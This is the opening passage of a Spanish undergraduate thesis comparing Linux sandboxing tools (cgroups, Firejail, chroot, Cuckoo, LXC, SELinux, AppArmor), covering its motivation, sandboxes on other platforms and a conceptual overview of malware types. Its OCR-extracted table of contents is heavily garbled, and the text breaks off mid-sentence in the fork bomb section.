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Resumen

En el presente, la seguridad informatica es uno de los principales problemas a los que se enfrenta toda
la sociedad. La seguridad de los sistemas informaticos es muy importante debido a que diariamente
aumenta el numero de ataques que se realizan. En este trabajo nos centraremos en una de los principales

amenazas a las que nos enfrentamos, que es la ejecucion de software malicioso.

Con el fin de mitigar el dafio que provocan estas amenazas, se estudia en este trabajo la tecnologia
Sandbox. Esta tecnologia nos permite ejecutar dicho software malicioso en un entorno aislado, con el
fin de comprobar si dicho software trata de dafiar nuestro equipo. A lo largo de este trabajo, se estudian
los fundamentos de esta tecnologia, asi como diferentes herramientas que permiten la implementacion
de un Sandbox. Estas herramientas han sido probadas mediante el uso de una conjunto de pruebas, que
simulan acciones maliciosas realizadas por cualquier malware, con el objetivo de comprobar el

funcionamiento de las herramientas, en funcion de sus caracteristicas.






Abstract

At present, computer security is one of the main problems facing society as a whole. The security of
computer systems is very important because the number of attacks carried out increases daily. In this

work we will focus on one of the main threats we face, which is the execution of malicious software.

In order to mitigate the damage caused by these threats, the Sandbox technology is studied in this
project. This technology allows us to run the malicious software in an isolated environment, in order
to see if the software is trying to damage our computer. Throughout this project, we study the
fundamentals of this technology, as well as different tools that allow the implementation of a Sandbox.
The deployment of these tools have been tested using a set of tests, which simulate malicious actions

by any malware, in order to check the operation of the tools, depending on their characteristics.

Xi



Xii



ABradeCiMIENTOS ... .uuveiiiiiinetiiiiseeiiisissntieisssneniissssesiesssssenessssnssssssssssssesssssensssssnssssssssnssssssssnsnsssssnnes vii
(=TT 4 = o T iX
1 1 o = Lot Xi
[ Lo ol Xiii
INAICE 8 TADIAS .v.veveeeeeeeeceeereseeeeeessessesesssssasessesssssssasnssesssnsasesssssssnsssessesssssssassessssnsasaseesesssnsane Xvii
INGICE 08 FIGUIAS ...evvuvveeeceecrecsesesnsessssssssssessessessssessssssssssssssssessessessessssesssssssssssssassessessessensens Xix
N 1 {0 T [0 T olol e T YRS 1
Jod MOUEIVGCION .o e e e et eeaeeaeeesaeaeeasaaseeeesasaeeasaasanessaaseesssansesessasseeessnsneeesnn 1
N 0 o] 1< 1 1V o X3 2
1.2.1  Objetivos ESPECITICOS. ..ccuiieericteeeeticeee sttt ettt e esse s e e s e stesreebesbeennesesnnenes 2

I T 1Y/ -4 o (o] (o o | {o TR OSSR 2
B X V(0 (o (Y [0 o (=] I =5, ({0 BT 3

p 2 0~ v Yo [ Yo 1= 1= T o =S 5
D0 N YTo TV To Lo To [ T2} {0 /g 1o 1 Lol TR S 5
D N 17 ) GO 6
2.3 SANADOX €N OLIOS SISEOIMIAS. ...ccvveveeveeeeeeieeseeeeeeeresteeesstesestesssseesssaesssseessssesssssessssessssessssesssssessrsessns 7
2.3.1  SANADOX €N WINUOWS .eeiieeiiiieiiieeietteee sttt e sestteesesseeeesessteessessseeesessstessssssessssssseesssssssessssnes 7

P T A VT o Vo | o Yo ) =] o T 1.4 T= 1o A R 8
2.3.3  SANADOX €N ANAIOId ..uiiiiiieiiiiieieee ettt ettt e sestte et esteeesessteessessteeesessbeessessseessesaeesssssssesssnnes 8
2.3.4  Sandbox en NAVEZadOores WED ........coeecieiriecieeee ettt 10

T V1 4 (=] 1 =7 £ KUY 11
I R 1V 1o 11V o =SSR 11
0t 001 RO U LY [ o o LSRR 11
3.1.2  VITUS eeeeeeeeeeeee ettt et e e et e e te e eaete s e et e saseesastesenstesas et eaeeesastesa et e sanaesaeaesantesanseesaraesateeaareenne 12

. R 10 T I 4017 | o Lo L OO RSO SPRRPPPRPRIOE 12
IR S 7o To | o (| PR 12
L0 S T = o 0 o] o Y= 1 {01 G 13

R I ST £ =10 o] 0.0 1T | R 13

V- T Lo Yo ) 15



4.1 DefiniCion de SANADOX ........cccveeresiesiesieieeiieiesiesiesiestestesseststsisssssessestessssssssssssassessesssssssssssssssses 15

4.2 Arquitectur@ de Un SANADOX ..........coeceeeeeeeeeeieseeiecteeteets e st e e s e s stassae s stessesssassessessessessanns 16
4.3 Finalidades de un SANADOX .............cooeeeeeieiriiiieieiiseieeeese ettt 17
4.4 EVASION A8 SANUDOX ..ottt ettt ettt easees 18
441  TECNICAS A€ AETECCION ..c.cvveiueeeteieerieeeeeeree ettt ettt es 18
4.4.2  TECNICAS A EVASION.....couiuiriiieieirieietet ettt ettt sttt sa et b et be st bt se st s et nne e 20
4.4.3  CoNtramedidas ......ccoeceeiriiiineiiee e 22

B TECNOIOGIAS ...ceviiiiinneiiiiiinneiiiiisneiiiisseesiessnnstessssnsassssssnssssssssnsssssssnsessssssnssssssssnsasssssnnsssssssnnansas 23
Y A s [0 17 o XSOOSO P PP PPPRPI 23
I (-1 o I S 24
T A R V= Tol ol 1 ] « O PR PR PR PRUPPRPPPRPO 24

5.3 CAFOOL ...ttt 25
B @0 T Yo o) 14 =X 3 S 26
5.5 CUCKOO SANADOX......coouiieiiieieieeeeeeteeee ettt ettt ettt ettt as e se e nasees 26
500 LXC ettt a ettt e s enen 26
5.7  Moddulos de seguridad del kernel de LiNUX............cccuecueeueeeeiesesiesiesiesiesieisssissesisssssssssssnssensnns 27
5.7.0 ADPPAINON ittt sttt ssreese et e ssreessreeesbee s baeessseessaeessseesasaessstessssesessseesssaessseeessreesnns 28
5.7.2 SELINUX tuvtuiieteieieserteie ettt ettt bttt sttt b bbbt ne et e s e 28

I o 1T« - LN 29
O R D=1 To Yo = (o L o]V (=1 o Lo X3 S 29
6.2 RESUITATOS ...ttt ettt ettt nne 31
B.2.1  CBIOUPS weeeicreeiiieieitterete e sttt e steesiteessteesbeesabeeessee s baeesasaessaeassseessaesssteessseeessseesssassssasesssaesnn 31
T A S T T TRV AT T olole o Yo T 32
6.2.3  CRIOOT .t 33
6.2.4  CUCKOO SANADOX ....cuiuiiiiiieirieiietnee ettt 34
B.2.5  LXC ettt n e 35
T T @ oY= o1 1 1<y TSR 36
B.2.7  SELINUX c.vteeiieteiestrteie ettt ettt bttt ettt b b e b ne et e b e 37
L0 2 T Y o o A\ g 2's T | S 38

6.3 Interpretacion de I0S rESUILAUOS ...........cceeeeeeeeeeeeeieceeeese st cte e e teste e e e ste s e e saesseereessessessessens 39

7 Conclusiones Y trabajo fULUFO ......cceeeeeieeciirrrreeeetieeecessssnneneeerecessssssnnnseeseseessssssnnsssessesssssssnnnnnes 41
Anexo A: Configuracion de 1as tECNOIOGIAS ....cc.cceeeeerrrrrrneeereeeeeerrrsnneeeeereeeesssssnsneeeeesecssssssnnsnsessenees 43
A. =] (o1 Y=L elele ] £ 1o TS 43
B. CRFOOL ...ttt ettt et s et as e nnes 44

Xiv



o' CQEOUPS ...ttt ettt et st et e bt e e st e st e st e st e s b e e se e seesseesatasatesasesasee st anseanaes 45
D CUCKOO SANTDOX......ceeeenieieeeieteeeeeiesiesteste sttt ettt st sttt et sasssassessensessensess s sssesnnsens 46
Eo LXC ettt ettt a ettt ettt ae e b et et et et et et e e e e eaeas 47
L T4 Lo o) 11 =2 OSSN 47
G Y = X 17 SRS S USSP 48
H ADPDATINION ..ottt ettt ettt ettt et st s bt e st e st e st e st e s seease e st e st e st e e teeabeease e s st e e atenaes 48
ANEXO B: SCrPE USAUOS......cuuueeeeenennnennnsssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssnnne 49
A 1Y o1 [ =3 Y ST 49
B. RY =141 o PSSRSO PPOP PRI 55
Co' PPOGIOIMGO.C auveeeeeeeieeeiieeestteecteesittessstssstsesistesastsassssssstsessssasasesssassssssssastsssssasssssssnssssssesssssnssses 56
3 =] (=T =T Vol - 57

XV



XVi



indice de Tablas

Tabla 1. Resultado de la ejecucion de las pruebas usando Cgroups. 31
Tabla 2.Resultado de la ejecucion de las pruebas usando Firejail y Seccomp. 32
Tabla 3. Resultado de la ejecucion de las pruebas usando Chroot. 33
Tabla 4.Resultado de la ejecucion de las pruebas usando Cuckoo Sandbox. 34
Tabla 5. Resultado de la ejecucion de las pruebas usando LXC. 35
Tabla 6. Resultado de la ejecucion de las pruebas usando Capabilities. 36
Tabla 7 . Resultado de la ejecucion de las pruebas usando SELinux. 37
Tabla 8. Resultado de la ejecucion de las pruebas usando AppArmor. 38

Xvii



Xviii



Indice de Figuras

Figura 1. Sandbox basado en aislamiento. 16
Figura 2. Sandbox basado en reglas. 17
Figura 3. Asignacion de recursos de Cgroups [41]. 23
Figura 4. Arbol de directorios usando Chroot. 25
Figura 5. Arquitectura de LXC. 27
Figura 6. Funcionamiento de LSM 28
Figura 7.0rden de las pruebas. 30

XiX



XX



Introduccion

Analisis de técnicas de aislamiento de procesos (Sandbox) en Linux

1 INTRODUCCION

lo largo de este capitulo se explica la motivacion por la cual se ha realizado este trabajo fin de
grado. A continuacién, se enumeran los objetivos perseguidos, la metodologia desarrollada y la

estructura utilizada para su ejecucion.

1.1 Motivacion

Actualmente nos encontramos en la Era de la Informacion donde todo se encuentra estrechamente
relacionado con las tecnologias de la informacion y la comunicacion; desde el uso de aplicaciones en
los teléfonos méviles hasta el uso de servidores por parte de empresas para poder desarrollar su

actividad diaria.

La informacion es un bien preciado en la actualidad, pues tanto las empresas como nosotros mismos
queremos proteger nuestra privacidad, ya sean datos bancarios, fotos, contrasefias, etc. El nimero de
tecnologias utilizadas al igual que la dependencia de estas en la vida diaria, aumentan sin cesar,
provocando la fijacion por parte de criminales en estas, con el fin de obtener un beneficio. Esto provoca
que los ciberdelincuentes dediquen su tiempo a la blisqueda de nuevas vulnerabilidades en los sistemas

para aprovecharlas con fines delictivos.

Todas las empresas se basan en el uso de datos para su funcionamiento y crecimiento, ya que, por muy
pequeiia que sea la empresa siempre necesitara recolectar, almacenar y procesar datos. Debido al uso
continuado que sufren los datos estos deben estar disponibles en cualquier momento, ademas de que
dichos datos deben ser iguales en todas las areas de la empresa que los usen y no deben ser manipulados
por personas ajenas a la empresa, que pueden hacer que estos se vuelvan inservibles. Por otra parte,
las empresas mueven mucha informacion personal de sus clientes, por lo que se requiere que estos
datos, entre otras muchas cosas, sean confidenciales para que no puedan ser utilizados por personas no

autorizadas.

La seguridad informatica trata de proteger la integridad, disponibilidad y confidencialidad de la
informacion en los sistemas informaticos por lo que, como se ha comentado anteriormente, es
necesario su integracion en las empresas. Recibir un ciberataque puede conllevar consecuencias como
pérdidas econdmicas o la pérdida de confidencialidad de informacion. Por tanto, se puede indicar que
resulta de gran importancia disponer de medidas de seguridad para poder proteger toda la informacion

que maneja una empresa.
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En el presente trabajo se llevara a cabo el estudio de diferentes implementaciones de Sandbox en
sistemas basados en Linux. La tecnologia Sandbox nos proporciona una medida extra de proteccion a
la hora de ejecutar programas posiblemente maliciosos, que tras su ejecucion pueden comprometer la
seguridad de los sistemas informaticos desde los que son lanzados, o incluso sistemas conectados a la
misma red. Por ello, el principal objetivo es estudiar varias implementaciones en sistemas Linux,

existiendo soluciones de este tipo tanto para sistemas basados en Windows como en Android.

1.2 Objetivos

El principal objetivo de este trabajo es la instalacion de diferentes implementaciones de herramientas
Sandbox para su posterior comparacion. Para poder compararlas y comprobar su correcto
funcionamiento se ha desarrollado un script que realiza acciones maliciosas con el fin de ser ejecutado

en los diferentes Sandbox para su posterior analisis.

1.21  Objetivos especificos
A continuacion, se enumeran los diferentes objetivos especificos perseguidos en el presente trabajo:

1. Descripcion del estado en el que se encuentra la tecnologia mencionada, tanto en el area
dedicada a sistemas Linux, como es el caso presentado en este trabajo, como su distinta

aplicacion a diferentes sistemas operativos o herramientas.

2. Estudio de diferentes técnicas para la implementacion de Sandbox, asi como de técnicas

que permiten su deteccion y evasion.

3. Busqueda y eleccion de herramientas en base a las diversas técnicas usadas para el

despliegue de un Sandbox.

4. Investigacion acerca de acciones maliciosas para la creacion de una bateria de pruebas que
seran ejecutadas en los Sandbox desplegados con el fin de comprobar las restricciones que

estos imponen.

5. Comparacion de los resultados obtenidos en los diferentes Sandbox desplegados para

poder concebir las ventajas y desventajas existentes entre ellos.

1.3 Metodologia
Las fases en las que se divide este trabajo de fin de grado son las siguientes:

e Fase de investigacion: Inicialmente se ha realizado una investigacion acerca de la tecnologia
Sandbox, abarcando tanto sus fundamentos tedricos como su funcionamiento. Para ello, se ha

procedido a leer diversos estudios de investigadores en este ambito, asi como de proyectos

2
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dedicados a la creacion de herramientas de este tipo.

Por otra parte, con la informacion obtenida se lleva a cabo la creacion de un estado del arte
donde se describen los Sandbox aplicados a otros sistemas operativos y las distintas

herramientas utilizadas.

Fase de disefio e implementacion: En esta parte se investiga acerca de acciones maliciosas
que posteriormente son usadas para la ejecucion de pruebas en las herramientas desplegadas.
Para ello se procede a la creacion de scripts que permitan simular en nuestro equipo varias

clases de malware.

Fase de despliegue: Una vez obtenida suficiente informacion acerca de los tipos de Sandbox
se realiza una busqueda de manuales de instalacion para las herramientas seleccionadas con el
fin de poder llevar a cabo las instalaciones pertinentes, su despliegue y probar el codigo creado

en estas.

Fase de pruebas: Esta fase consiste en la ejecucion del codigo creado en la fase de disefio e
implementacion en los Sandbox desplegados con el fin de obtener resultados acerca de las
acciones que han sido ejecutadas en el Sandbox y cuales han sido restringidas. Estos resultados

permitiran realizar comparaciones entre las herramientas usadas.

El sistema utilizado para la realizacion de este trabajo es una maquina virtual con Debian 10 (Buster).

1.4 Estructura del texto

El documento se encuentra dividido en:

Capitulos 1y 2: En estos capitulos se exponen los principales motivos y objetivos del presente
trabajo, asi como una introduccién del estado actual de la seguridad informatica y el sistema
operativo Linux, dambitos en los que se engloba el caso estudiado en el trabajo. También se

comenta el estado de esta tecnologia en otras herramientas y sistemas operativos.

Capitulo 3 y 4: En estos capitulos se explican los fundamentos de la principal amenaza a la
que hace frente los Sandbox, el malware, diferenciando entre sus tipos, asi como los
fundamentos de esta tecnologia, como son; su definicion, su funcionamiento, tipos, ventajas

de su uso y estudio de las técnicas de evasion y deteccion de un Sandbox.

Capitulo 5 y 6: Estos capitulos engloban la descripcion de las herramientas usadas para el
despliegue de los diferentes Sandbox. En ellos se presenta la descripcion de las partes del

cddigo desarrollado, su ejecucion en los Sandbox y la posterior comparacion entre ellos.

Capitulo 7: En este ultimo capitulo se detallan las conclusiones obtenidas y algunas

consideraciones sobre trabajos futuros que podrian complementar el presente trabajo.

3
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2 ESTADO DEL ARTE

n este capitulo se presenta el estado actual en el que se encuentra la seguridad informatica, &mbito
Eque engloba la tecnologia estudiada a lo largo de este trabajo. Durante la realizacion de este
trabajo se hard referencia al uso de esta tecnologia en sistemas operativos basados en Linux y se
comentara la utilizacion de dicha tecnologia en otros sistemas operativos como Windows, ademas de

su uso en herramientas como navegadores web.

2.1 Seguridad Informatica

Actualmente la mayor parte de los procesos que se realizan en las empresas y en la sociedad conllevan
el uso de sistemas informaticos, que albergan y transmiten constantemente informacion. Debido a su
uso constante, es imprescindible garantizar que estos funcionen correctamente, por lo que es necesario
hacer frente a las vulnerabilidades existentes en los sistemas y a los nuevos métodos de ataques

desarrollados, siendo primordial el desarrollo de continuas mejoras de sus defensas.

El continuo avance en cuanto a la creacion de nuevos métodos de ataques y explotacion de
vulnerabilidades hace que sea imprevisible la deteccion de nuevos tipos de ataques siendo inexistente
la defensa especifica contra este tipo de ataques, denominados Zero-Day. Como los sistemas se
encuentran indefensos ante estos ataques sin precedentes es necesario buscar un sistema de defensa
para ellos, y es aqui donde reside una de las grandes caracteristicas de las herramientas Sandbox. Estas
herramientas permiten la ejecucion del codigo potencialmente peligroso, en un entorno controlado y

aislado evitando asi que se daie el equipo.

A continuacion, se nombran algunos de los malware mas importantes de la historia de la
ciberseguridad, pues la tecnologia utilizada va destinada a la prevencion de acciones maliciosas por

parte de estos.

e El primer virus informatico de la historia data de 1971, cuyo nombre es “Creeper” [1] y se

propagaba entre ordenadores mientras mostraba un mensaje en los ordenadores infectados.

e Wabbit [2] se trata de un programa que crea copias de este de forma sucesiva hasta que el
numero es tan grande que reduce el rendimiento del sistema, llegando en alguna ocasion a ser

bloqueado. Dicho programa es de 1974.

e En 1988, Robert Morris se convirtio en el primer autor de malware condenado debido a la

creacion del gusano Morris [3], siendo este el primer malware autorreplicable de la historia.

e En 1989 aparece el primer Ransomware conocido como AIDS Trojan [4]. Miles de disquetes

fueron enviados a los suscriptores de la revista ‘PC Business World’ que al introducirlo en el

5
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equipo cifr6 todos los ficheros del sistema, mostrando un mensaje en el que se pedia una suma

de dinero a cambio de un codigo para el desbloqueo del equipo.

e El gusano ILOVEYOU [3] se encuentra escrito en VBScript e infectd a millones de
ordenadores con el sistema operativo Windows en tan solo unas pocas horas. Se basa en el uso
de ingenieria social para su despliegue y es considerado uno de los gusanos mas dafiinos de la

historia. Este gusano fue detectado el 5 de mayo del 2000.

e Zeus Trojan [5] es un virus descubierto en 2007 y cuyo codigo se hizo publico en 2011. Se
trata de un troyano que se basaba en el registro de las pulsaciones de las teclas para robar

informacion acerca de formularios y datos bancarios.

e El virus Stuxnet [6] fue descubierto en 2010 y se trata de un gusano que tom¢ la posesion de
miles de maquinas utilizadas en centrales nucleares de Iran. Este gusano atacaba a los sistemas
SCADA para simular que todas las maquinas funcionaban correctamente, pero en realidad

estas eran reprogramadas para producirse dafos.

e En 2017 tuvo lugar el ataque llamado “Wannacry” [7] que infect6 ordenadores de mas de 150
paises, incluyendo bancos y compaiiias de telecomunicacion. Se trata de un ransomware que
encripta los equipos con sistema operativo Windows que no habian sido actualizados

aprovechando una vulnerabilidad existente.

2.2 Linux

La implementacion de los diferentes Sandbox se realiza en Debian [8], que se trata de una distribucion
de Linux que consta de un sistema GNU, cuyo nucleo esta basado en Linux [9], el cual es un sistema
operativo, que alberga un conjunto de programas que permiten la comunicacion entre el usuario y el
ordenador. Debian nace en el afio 1993 de manos de miles de voluntarios, siendo un sistema operativo
libre.

Aligual que Debian existen muchas distribuciones de Linux, en funcion de las caracteristicas que estos
poseen o de las personas encargadas de su mantenimiento, como puede ser la distribucion Red Hat
Enterprise Linux [10], mantenida por la empresa Red Hat destinado a un uso general, o Kali Linux

[11] orientado a la seguridad de la red.

En nuestro caso nos centraremos en Debian, la cual es la distribucion que se usara para el despliegue
de los Sandbox. El Proyecto Debian se trata de una asociacion de personas que creo la distribucion
Debian y que en la actualidad también se encarga de mantenerla. Debian nace como una apuesta por
la creacion del software libre creado por muchos usuarios, contando ademas del apoyo de varias
empresas. Actualmente cuenta con su version Debian 10 (Buster), que fue liberada el 6 de julio de

2019 y que sera la utilizada para el despliegue de los Sandbox.

6



Estado del arte

Analisis de técnicas de aislamiento de procesos (Sandbox) en Linux

Linux no se trata del sistema operativo dominante en cuanto a su uso en entornos de escritorio, pues
su participacion de mercado es aproximada al 2%, segun la fuente StatCounter [12]. Por otra parte,
hay que tener en cuenta que actualmente ciertos sistemas operativos como Windows 10, el cual es el
claro dominador del mercado, ofrecera un nucleo completo basado en Linux, mientras que otros

sistemas operativos como Chrome OS, esta basado desde su comienzo en el mismo nucleo.

Una de las caracteristicas mas importantes de los sistemas operativos basados en Linux es que son
sistemas muy flexibles y versatiles, debido principalmente a que es software libre, pudiéndose apreciar
por su presencia en televisores o incluso automoviles, sin olvidar el sistema operativo Android, basado
en un kernel Linux y es el que predomina el mercado de la telefonia movil. Ademas, este sistema se
usa en la mayoria de los servidores web y estd presente en casi la totalidad de los superordenadores.

Por todo esto se ha elegido un sistema operativo basado en GNU/Linux.

2.3 Sandbox en otros sistemas

Linux no es el unico sistema en el que se utiliza esta tecnologia, pues es una medida de seguridad muy
utilizada para comprobar la existencia de codigo malicioso en un programa potencialmente peligroso

e incluso existen soluciones que permiten la captura de estas acciones maliciosas.

A continuacion, se presenta la situacion de esta tecnologia en los sistemas operativos Windows, asi
como su uso en los sistemas operativos destinados a la telefonia movil y algunas soluciones para

navegadores web.

2.3.1 Sandbox en Windows

Recientemente se ha afiadido una nueva funcionalidad al sistema operativo Windows 10, mas
concretamente en la actualizacion de mayo de 2019, siendo esta la version 1903 [13] de este sistema

operativo.

Esta funcionalidad permite ejecutar aplicaciones sospechosas de contener codigo malicioso dentro de
un entorno ligero y aislado, corriendo independientemente de nuestra instalacion. Al venir con dicha
actualizacion no es necesaria su instalacion ni configuracion, aunque si es necesario disponer de

Windows en sus ediciones Pro o Enterprise.

Windows Sandbox es técnicamente una maquina virtual que crea una réplica del sistema operativo
existente en el equipo a través del hipervisor de Microsoft asegurando que lo que ocurra dentro de
dicho entorno quedara dentro de €1, ofreciendo asi méaxima seguridad. Esta réplica es un entorno muy
liviano debido a que unicamente ocupa 100MB, ya que esta optimizado para que se ponga en marcha
rapidamente. Cada vez que se utiliza esta funcionalidad se crea un maquina virtual completamente

nucva.
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Este Sandbox, al tratarse de una réplica del sistema operativo anfitriéon puede utilizarse para realizar
cambios al sistema permitiendo, como se comentd, eliminar todos los cambios realizados y pudiendo

asi no tener que realizar dichos cambios directamente sobre nuestro sistema operativo.

Otra de las técnicas de Sandbox utilizadas en Windows y muy similar a la que este incluye es la
creacion de maquinas virtuales mediante la utilizacion de programas de virtualizacion como pueden
ser VMware o VirtualBox, aunque estos consumen una mayor cantidad de recursos reduciendo asi el
rendimiento del equipo. Una de las soluciones mas utilizadas para crear entornos aislados en sistemas
operativos Windows es Sandboxie [14], el cual crea contenedores donde se ejecutan los programas

deseados.

2.3.2 Sandbox en macOS

El sistema operativo macOS [15] lanzado por la empresa Apple posee una funcionalidad que permite
controlar el acceso a nivel del kernel, denominada App Sandbox y que es proporcionada en este
sistema operativo. La aplicacion esta disefiada para proteger al sistema de posibles dafios, asi como los

datos del usuario si se ejecuta alguna aplicacion maliciosa.

Esta aplicacion no previene de ataques a través de aplicaciones, pero si minimiza el dafio sufrido una
vez se ha ejecutado una aplicacion maliciosa. Una aplicacion que no utiliza App Sandbox obtiene todos
los accesos a los datos del usuario que esté ejecutando la operacion, pudiendo acceder ademas a todos
los recursos a los que el usuario tiene acceso. Por tanto, si un atacante pudiese explotar una aplicacion

podria realizar cualquier accion que el usuario que ejecutd el programa pueda realizar,

Esta aplicacion es utilizada para la creacion de aplicaciones y en ella se indican los recursos necesarios

para el correcto funcionamiento del programa:

e Permite al desarrollador describir como la aplicacion creada interactia con el sistema, por lo
que al ejecutarse el sistema otorga inicamente el acceso a los recursos necesarios para que el

programa funcione correctamente.

e Permite al usuario otorgar accesos adicionales.

2.3.3 Sandbox en Android

En este apartado se explica el sistema operativo predominante en la telefonia mévil y como utiliza esta

tecnologia para aumentar la seguridad de los dispositivos.

Como se ha comentado, Android es un sistema operativo usado en dispositivos moviles basado en el
kernel de Linux. Como se basa en el kernel de Linux, este sistema operativo hereda funciones de

seguridad propias de un kernel Linux, como puede ser SELinux [16].

A nivel del sistema operativo, los dispositivos Android proporcionan la seguridad del kernel de Linux,

8
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conocida como comunicacion entre procesos (IPC, del inglés Inter-Process Communication) segura
que facilita permitir la seguridad entre la comunicacion de diferentes procesos. Esta caracteristica de
seguridad nos permite incluso asegurar que el codigo nativo esté restringido por el Sandbox de

aplicaciones.

Como el sistema operativo se basa en el kernel de Linux posee varias funcionalidades claves para la

seguridad, aunque las mas destacadas son:

e Modelo de permisos basado en usuarios
e Aislamiento de procesos

e [PC

Ademas, como Android esta basado en un sistema operativo multiusuario posee una medida de

seguridad para aislar los recursos entre ellos, para ello Linux:

e No permite que un usuario lea los ficheros de otro usuario.

e Asegura que un usuario no agote ni la memoria ni la CPU ni otros dispositivos externos de otro

usuario.

Para aumentar la seguridad de la aplicaciones se utiliza una parte del modelo de seguridad de Android
denominado SELinux para aplicar el control de acceso obligatorio (MAC, del inglés Media Access

Control) sobre todos los procesos.

Con esta herramienta se mejora la proteccion y se restringen los servicios del sistema, el control de
acceso a los datos de la informacion y se protegen de actividades maliciosas por parte de software

peligroso.

Android se aprovecha de las ventajas que proporciona el sistema de permisos basado en usuarios para
identificar y aislar los recursos de las aplicaciones. Las aplicaciones se encuentran aisladas entre ellas
para proteger asi el sistema y otras aplicaciones de aquellas que realicen acciones maliciosas. Para
llevar a cabo esto, el sistema operativo se basa en la asignacion de un identificador tnico de usuario

para cada aplicacion y la ejecuta en un proceso propio del usuario.

Como se ha comentado anteriormente, las aplicaciones no pueden interactuar entre ellas por defecto y
tienen un acceso limitado al sistema operativo. Esto restringe que cualquier aplicacion intente realizar
acciones maliciosas como puede ser leer datos de otra aplicacion o realizar alguna accion sin los

permisos necesarios.
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2.3.4 Sandbox en navegadores web

Actualmente también existen soluciones Sandbox para navegadores web como la inclusion de un
Sandbox en los navegadores Microsoft Edge o Google Chrome, o la extension SandBlast de la

compaiiia Checkpoint para el navegador Google Chrome.

El navegador Google Chrome tiene habilitado el uso de su Sandbox [17] por defecto. Este Sandbox
permite interpretar el codigo de las paginas web mediante el aislamiento de sus procesos, para asi
prevenir posibles dafios. Esto es posible porque la arquitectura de Google Chrome esta basada en
multiprocesos. El navegador crea diferentes procesos para cada instancia de las paginas web visitadas,
de esta forma, se interpreta su codigo de manera aislada. Cada proceso es monitorizado, y en caso de

encontrar actividades sospechosas en €I, se termina.

El Sandbox incluido en el navegador Microsoft Edge posee la opcion de crear un entorno aislado
mediante el uso de la virtualizacion para asi poder realizar una navegacion aislada o poder analizar y
eliminar malware que nos descarguemos. Una vez se cierra la sesion se eliminan todas las amenazas

de forma definitiva evitando asi que el sistema completo sea comprometido.

Por otra parte, para el navegador Google Chrome se encuentra una extension de la compania
Checkpoint, llamada SandBlast Agent [18], para detener el malware y el phishing [19] durante la
navegacion. Esta es un recurso de la compafiia basada en la solucion SandBlast que es una
combinacion del uso de la tecnologia Sandbox y la simulacion, para detectar y eliminar el malware
detectado en el equipo. Con este tipo de soluciones es factible protegerse de la descarga de ficheros
potencialmente peligrosos, para ello, descarga dicho fichero y lo analiza en tiempo real para comprobar

que no es peligroso y evitar asi su ejecucion en el sistema.

10
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3 AMENAZAS

n este capitulo se describen varios tipos de malware a los que se haran referencia en la explicacion
de las acciones realizadas por el codigo creado, ya que se trata principalmente de simular

acciones maliciosas.

3.1 Malware

Malware es una abreviacion de las palabras “malicious software” [20] y se define como un software
cuya intencion es vulnerar la seguridad de un sistema informatico o red en la que este es ejecutado.
Esta no es la tnica definicion aceptada de malware, pero todas ellas tienen en comun que se trata de

un co6digo cuyo objetivo es realizar acciones dafiinas en un entorno.

El fin de la utilizacién y propagacion por la red de este tipo de programas son principalmente los

siguientes:

e Robar informacion, como pueden ser datos personales, fotos o informacion privilegiada, con
el fin de obtener beneficios.

e Comprometer o dafar equipos como puede ser el cifrado de ficheros o el bloqueo del
dispositivo para pedir rescates por su recuperacion, o incluso la reconfiguracion los equipos
para tratar de inhabilitarlos

A continuacion, se enumeran y describen los tipos de malware mas importantes y que guardan relacion

con el presente trabajo:

3.1.1 Gusanos

Los gusanos [1] son un tipo de malware que se distribuye entre los sistemas informaticos
reproduciéndose automaticamente por ellos mismos y que infecta a otros equipos a través de la red sin
la necesidad de utilizar ficheros infectados, o requiriendo acciones por parte de personas. Por lo tanto,
se puede decir que los gusanos se autorreproducen y son autocontenidos, debido a que se reproducen
por ellos mismos y se propagan por la red, por lo que teniendo en cuenta estas dos caracteristicas se

puede afirmar que los gusanos se propagan continuamente por toda la red.

Al igual que el resto de los malware, este trata de robar o eliminar datos, aunque estan principalmente
destinados a agotar los recursos de los sistemas en los que se encuentran para provocar una denegacion
de servicio (DoS, del inglés Denial-of-service), instalar programas para registrar las teclas pulsadas
por los usuarios para transmitir estos datos o la apertura de una puerta trasera para que esta sea

aprovechada por un atacante.
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3.1.2 \Virus

Al igual que los gusanos, un virus [1] es un malware que se propaga de un ordenador a otro tratando
de introducirse en un programa, siendo este programa un archivo o proceso ya existente en el ordenador
infectado. Este malware requiere que sea ejecutado para que pueda infectar otros archivos,

modificando asi su funcionamiento habitual.

Una de las caracteristica que los diferencian de los gusanos es la capacidad de estos ultimos de

propagarse por la red por ellos mismos.

Con el paso de los afios su uso se ha visto reducido debido al deseo por parte de los atacantes de
propagar el malware a su antojo, ya que los virus se propagaban en cadenas de correos electronicos o

en archivos accesibles a través de lared y que permitian a los antivirus captarlos a una mayor velocidad.

3.1.3 Troyanos

Un troyano es un tipo de malware que trata de exhibirse como un programa que actiia segun indica,
pero que en realidad tratan de atacar al equipo en el que se ejecutan. Por esto, su nombre proviene de
la historia griega del caballo de Troya, un caballo de madera que albergaba en su interior soldados para

atacar la ciudad de Troya.

Al contrario que los malware ya citados, gusanos y virus, estos no tienen la capacidad de propagarse a
través de la red ni autorreplicarse. Existen muchas formas para que un troyano infecte un equipo, pero

la mas usual es la descarga de archivos provenientes de Internet.
Existen dos tipos de troyanos en funcion de las acciones maliciosas que llevan a cabo:

e Los troyanos generales, que albergan una gran cantidad de actividades maliciosas, pudiendo
robar informacion del equipo de la victima, modificar el funcionamiento del sistema anfitrion

e incluso monitorizar la actividad de los usuarios.

e Existen troyanos cuyo principal objetivo es el de dejar una puerta trasera abierta para que asi
el atacante pueda obtener control remoto sobre el ordenador de la victima, siendo este el

troyano mas peligroso.

3.1.4 Rootkit

El rootkit es un malware que es usado para disimular la intrusion al sistema y obtener permisos de
superusuario en el equipo. Este tipo de malware tienes muchos fines como son la obtencion de
informacion sobre el sistema y el entorno de red en el que se encuentra o proporcionar una puerta de
entrada al sistema permitiendo acceder desde el exterior, pero siempre tratando de ocultar que el

sistema ha sido comprometido.
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La principal caracteristica de los rootkits es que estos no tratan de acceder al ordenador de la victima,
sino que tratan de ocultar la presencia de otro tipo de malware para permitir su persistencia a lo largo
del tiempo, utilizado por ejemplo por troyanos o virus. Con tales fines, las principales acciones que

realizan son:

e Disimular la presencia de recursos maliciosos por parte de otro tipo de malware, como pueden

ser ficheros, procesos o puertos abiertos.

e Limpiar los registros del equipo en el que se encuentra con el objetivo de dificultar el rastreo

del malware presente.

3.1.5 Bomba fork

Una bomba fork, también denominada wabbit, es un codigo malicioso que estd disehado
